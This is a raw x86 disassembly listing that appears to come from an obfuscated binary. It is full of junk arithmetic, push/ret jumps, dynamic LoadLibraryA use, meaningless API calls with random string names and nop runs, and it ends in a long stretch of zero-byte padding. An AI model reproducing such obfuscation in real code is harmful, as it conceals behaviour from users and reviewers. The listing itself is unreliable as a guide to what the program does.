mov ecx, dword [0x407108]
mov byte [0x407079], 0xb0
or ecx, 0x6d
add dword [0x4071fa], ecx
add ch, 1
sub dword [0x4071d8], ecx
mov byte [0x4070f0], 0x77
not eax
mov ecx, dword [0x40718b]
mov ecx, dword [0x4070be]
mov byte [0x4070bc], 0x92
xor ecx, 0xffffffba
mov dword [0x407137], ecx
mov byte [0x40705f], 0x8f
mov byte [0x4071d9], 0x43
add ecx, ecx
add ecx, ecx
mov byte [0x407091], 0x85
mov byte [0x4070f7], 0xb0
mov ecx, dword [0x4071ac]
mov byte [0x40705d], 0x31
add ecx, 0x62
sbb dword [0x4071cd], ecx
adc dword [0x4071d0], ecx
add eax, 0xffffffe7
mov ecx, dword [0x407123]
mov byte [0x407041], 0x1e
add ecx, ecx
mov byte [0x40713a], 0x73
adc ecx, ecx
sub ecx, ecx
add ecx, 0x34
xor ecx, ecx
mov cl, byte [0x4071ec]
mov ch, byte [0x407196]
and dword [0x407081], ecx
add dword [0x40711b], ecx
mov ch, byte [0x407072]
xor ecx, 0xffffffb8
xor ecx, ecx
mov byte [0x40714a], 0x3e
mov byte [0x407152], 0x2c
add ecx, ecx
sub ecx, ecx
xor eax, esi
mov ecx, dword [0x407017]
mov byte [0x40710a], 0x9f
mov cl, byte [0x407101]
sbb ecx, ecx
adc ecx, ecx
mov byte [0x4071ae], 0xa0
sub ecx, ecx
mov byte [0x407117], 0x3b
and ecx, 0x31
or dword [0x407143], ecx
sbb ecx, ecx
sbb ecx, 0xfffffffb
xor dword [0x407079], ecx
mov byte [0x40717e], 0x9c
add ecx, ecx
clc
adc eax, 1
sbb dword [0x407063], ecx
mov byte [0x407173], 0x3f
and ecx, 0x3f
mov ecx, dword [0x4070ee]
mov byte [0x4071a9], 0xe1
add ecx, ecx
xor ch, cl
mov ch, byte [0x4071d8]
sub ecx, 0xffffff8d
sbb ecx, ecx
mov byte [0x407061], 0xc2
add dword [0x4071a9], ecx
xor dword [0x407087], ecx
adc ch, cl
xor ch, ch
mov ecx, dword [0x40706c]
sbb ecx, ecx
push eax
pop esi
add dword [0x407129], ecx
adc ecx, ecx
mov byte [0x4070a9], 0x1b
mov cl, byte [0x40715c]
mov byte [0x407056], 0xba
mov ecx, dword [0x407110]
sub ecx, ecx
or dword [0x4071db], ecx
mov ch, byte [0x407054]
mov ecx, dword [0x4070bc]
mov byte [0x40710f], 0x38
add cl, 0xa7
and ecx, 0x78
adc ecx, ecx
mov cl, byte [0x4071d8]
add cl, 0xc0
mov ecx, dword [0x407117]
xor ecx, ecx
xor cl, ch
mov ecx, dword [0x4071f6]
rol esi, 1
mov ecx, dword [0x40705a]
sbb ecx, 0xffffffd8
mov byte [0x4071c0], 0x9a
add ecx, 0xffffffe5
sub ecx, ecx
mov ecx, dword [0x40710f]
add ecx, ecx
sub ecx, ecx
xor ecx, 0xffffffc0
add dword [0x4071c3], ecx
or dword [0x4071b3], ecx
add dword [0x407093], ecx
mov ecx, dword [0x407143]
mov ecx, dword [0x407094]
xor ecx, ecx
adc ecx, ecx
mov byte [0x4070e2], 0x38
adc ecx, 0xffffffc0
rol esi, 7
sbb dword [0x407176], ecx
mov ch, byte [0x40716a]
mov byte [0x4070da], 0xf2
mov ecx, dword [0x4071e2]
add ecx, ecx
mov byte [0x4070c6], 0x83
mov ecx, dword [0x4070aa]
mov ecx, dword [0x407182]
adc ecx, 0x7a
mov ecx, dword [0x4071c2]
mov ecx, dword [0x4071cb]
or dword [0x407089], ecx
sbb byte [0x4071ae], ch
xor ecx, ecx
mov ecx, dword [0x40717c]
mov ecx, dword [0x407180]
mov ch, byte [0x40713f]
mov ecx, dword [0x4070fd]
push eax
pop dword [ebx]
sbb ecx, 0xffffffba
mov byte [0x407125], 0x17
mov ecx, dword [0x40718b]
mov byte [0x407094], 0x60
mov ecx, dword [0x407078]
add ecx, ecx
mov byte [0x407115], 0x4f
mov dword [0x40719e], ecx
adc cl, cl
sbb ecx, ecx
mov byte [0x4071ca], 0xd4
adc ecx, 0x4c
and dword [0x407120], ecx
mov cl, byte [0x407047]
mov ecx, dword [0x4070d2]
mov byte [0x4071f1], 0x26
xor cl, cl
lea ebx, [ebx + 4]
mov ecx, dword [0x407120]
xor ecx, 0x63
mov byte [0x40714d], 0xfe
xor dword [0x407029], ecx
and dword [0x4070ad], ecx
sub ecx, ecx
mov byte [0x407176], ch
xor ch, 0xbb
mov byte [0x407112], 0xb1
sub ecx, 0xffffffb0
add ecx, 0x54
mov byte [0x407132], 0x34
mov byte [0x407020], 0x4d
xor ecx, 0xffffff80
sub byte [0x407026], cl
mov cl, byte [0x40712b]
clc
sbb edx, 4
adc dword [0x407042], ecx
mov byte [0x40707e], 0x8f
sbb ecx, ecx
sub ecx, ecx
add dword [0x40719a], ecx
add ecx, 0x46
mov byte [0x407141], 0xa0
mov ecx, dword [0x4071c2]
mov byte [0x4071fb], 0x34
xor dword [0x4071e4], ecx
add ecx, ecx
add ecx, 0x23
mov byte [0x4070bd], 0xe7
mov byte [0x4071b1], 0x2f
add ecx, 0x7a
mov byte [0x407174], 0x87
push 0x403909
ret
mov ebx, esp
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
mov eax, dword [0x4070bb]
xor dword [0x4070d4], esi
mov byte [0x4071c0], 0xdb
mov byte [0x4070dc], 0x2d
sub dh, 0xbf
mov byte [0x4070ba], 0xf6
or ecx, 0x5d
add edi, edx
mov edi, dword [0x4071f3]
mov edi, dword [0x40700f]
mov cl, byte [0x407096]
add ecx, 0xffffffeb
mov byte [0x40710c], 0x5b
sub dword [0x407134], ecx
add dword [0x407021], ecx
mov ah, byte [0x40712f]
push 0x4038b7
add esi, edi
mov byte [0x4071d2], 0x98
add edi, 1
mov eax, dword [0x40702b]
mov ecx, dword [0x40715e]
mov dword [0x407087], eax
sub eax, 0x2b
sbb dword [0x4071b6], edx
and dword [0x4070b5], eax
sub eax, 0xffffff88
sbb byte [0x40700a], ch
and esi, 0xffffffe9
sub ecx, eax
mov esi, dword [0x4071b2]
mov ecx, dword [0x4071dd]
add dword [0x407147], ecx
add eax, 0x16
jmp dword [ebx]
sbb ebx, eax
mov byte [0x407066], 0x56
sbb dword [0x407103], eax
xor byte [0x407084], al
mov al, byte [0x40701d]
or eax, 0xffffffd2
add edi, 0x27
add dword [0x4070b0], edi
or dword [0x407166], eax
add edi, esi
sbb edi, eax
add ecx, 0xa
add dh, bh
or eax, 0xffffffc4
mov edx, dword [0x4071f8]
mov byte [0x407145], 0xaf
add dword [0x4070d8], esi
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
add edx, 0x1c
mov ebx, dword [0x4071b1]
add ecx, 0x17
sbb edi, ecx
mov dl, byte [0x4071da]
or ecx, 0x5f
sub ebx, ecx
xor dword [0x40704f], eax
add ecx, 0x77
mov ebx, dword [0x407065]
adc eax, edx
sbb ebx, 0xffffffdd
mov byte [0x40708a], 0x26
sbb edi, ebx
sbb edx, esi
add ebx, ebx
cmp byte [0x407208], 1
jb 0x402556
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [0x407081], 0xe9
mov byte [0x4071c9], al
mov byte [0x4071a9], 0x1b
adc dword [0x4070a1], eax
sub byte [0x4071f5], al
mov byte [0x4070b1], 0x15
mov dword [0x407008], ebx
adc dword [0x4071ae], esi
add ecx, 0x7d
add eax, 0xffffff81
adc edi, ecx
sub byte [0x40712e], bl
adc ecx, 0xffffffd3
add dl, ch
sub esi, ebx
sub dword [0x40710d], ecx
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x404034
add dword [0x40705a], edi
add edx, esi
sub ebx, 0x48
mov byte [0x40706e], 0x83
mov byte [0x407053], 0x5a
mov ebx, dword [0x40707f]
xor dword [0x407093], edx
xor dword [0x407009], eax
mov ebx, dword [0x407068]
mov eax, dword [0x40705b]
mov eax, dword [0x4071e6]
add ecx, 0x58
add dword [0x40715e], edx
mov eax, dword [0x407134]
xor eax, edi
adc byte [0x407199], al
cmp byte [0x407208], 1
jb 0x4027bc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [0x40704f], 0xa5
mov dword [0x40713b], eax
sbb edi, edi
add dword [0x40701f], edi
or ebx, 0xffffffe2
mov byte [0x40701e], 0x96
add ecx, 0x67
xor byte [0x4070de], ah
add edx, 0x74
sbb dword [0x40700b], ebx
add ah, bl
sbb esi, 0xffffffaa
mov byte [0x4070a6], 0xef
mov byte [0x4071f3], 0xa5
mov byte [0x407034], 0xd0
add ecx, 0x3c
add ebx, eax
mov edi, dword [0x40711a]
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
add ecx, eax
mov byte [0x407072], 0x54
mov edx, dword [0x4070c7]
add ebx, 0x73
mov eax, dword [0x4070da]
add ecx, ecx
and edi, 0xffffffa4
mov byte [0x407127], 0xc0
mov esi, dword [0x40716e]
mov byte [0x4071c4], 0x7f
add edx, 0x7d
and dword [0x407138], ebx
sub byte [0x407063], cl
mov byte [0x4071d2], 0xb2
add ecx, 0xffffffbc
add dword [0x407156], edi
adc dword [0x407100], edx
cmp byte [0x407208], 1
jb 0x401212
nop
nop
nop
mov esi, dword [0x407010]
sub dword [0x4070eb], ebx
mov byte [0x4070da], 0xe3
mov byte [0x407102], 0x16
add edi, esi
mov ebx, dword [0x407116]
mov byte [0x40709c], 0x47
mov byte [0x4070d5], 0xf9
xor dword [0x4070f4], edi
sbb edi, esi
add dword [0x40714d], ebx
xor dword [0x407175], eax
sub edi, edi
mov byte [0x4070df], 0xd6
sbb edi, 0x35
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
sub dword [0x407030], ebx
xor dword [0x4070eb], eax
add ecx, 0x77
sbb esi, 0xffffffb5
adc eax, 0xffffffe0
or dword [0x407120], esi
sbb ecx, eax
mov ecx, dword [0x4070fb]
mov edi, dword [0x407176]
add dword [0x4071db], ecx
mov eax, dword [0x4070f2]
mov cl, byte [0x4071d5]
add edx, 0xffffffe9
mov ecx, dword [0x40715b]
add dword [0x407008], eax
mov byte [0x4071f9], 0x81
mov byte [0x4070a8], 0x73
or eax, 0xffffffbd
cmp byte [0x407208], 1
jb 0x4018c3
nop
nop
nop
add edi, esi
mov bl, byte [0x407068]
or eax, 0xffffffcf
mov ebx, dword [0x4070b0]
sbb edi, esi
mov eax, dword [0x4071fa]
or edi, 0xffffffe4
mov ebx, dword [0x407024]
adc bh, ah
adc dword [0x40710d], esi
mov byte [0x40719b], 5
add edx, esi
mov ecx, dword [0x407181]
mov ecx, dword [0x4071e7]
xor eax, 9
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x401ac9
xor eax, eax
xor esi, 0x48
adc edi, 0x7b
mov edi, dword [0x407094]
add edx, eax
xor eax, 0x34
add ecx, edi
mov byte [0x40710f], 5
add edx, ebx
add dword [0x40707f], edx
or dword [0x407191], edx
add ecx, 0xe
add edx, 0xffffff96
sub dword [0x407153], ecx
add eax, ebx
sub ebx, edi
adc dword [0x407021], edx
xor edi, 0x70
mov edi, dword [0x407054]
cmp byte [0x407208], 1
jb 0x4016d5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
or dword [0x407065], eax
adc dword [0x407126], ebx
adc esi, 0xffffffb6
add edx, 0xfffffff3
mov byte [0x4070c5], 0xb5
adc ebx, edi
sub dl, 0xef
adc dword [0x4071d5], edx
add edi, edx
mov byte [0x407002], 0x5f
and byte [0x4070f5], al
add ecx, 0x73
adc edi, edx
mov edx, dword [0x4071d6]
mov byte [0x4070ce], 0x69
mov edi, dword [0x4071a9]
or dword [0x40716b], ebx
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
sbb esi, 0x79
mov byte [0x4071c2], 0x9f
adc ah, bh
adc byte [0x4071c5], ah
mov bl, byte [0x4070ee]
add edx, esi
add dh, 0xce
add dword [0x40719c], esi
add edi, ebx
xor al, 0xad
sub dword [0x407174], eax
mov ecx, dword [0x407064]
add ebx, 0xffffff87
mov ecx, dword [0x40711a]
mov byte [0x4071e2], 0xd4
add ecx, 0x14
mov byte [0x40715c], 0xcb
cmp byte [0x407208], 1
jb 0x402b2b
nop
nop
nop
nop
nop
nop
nop
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
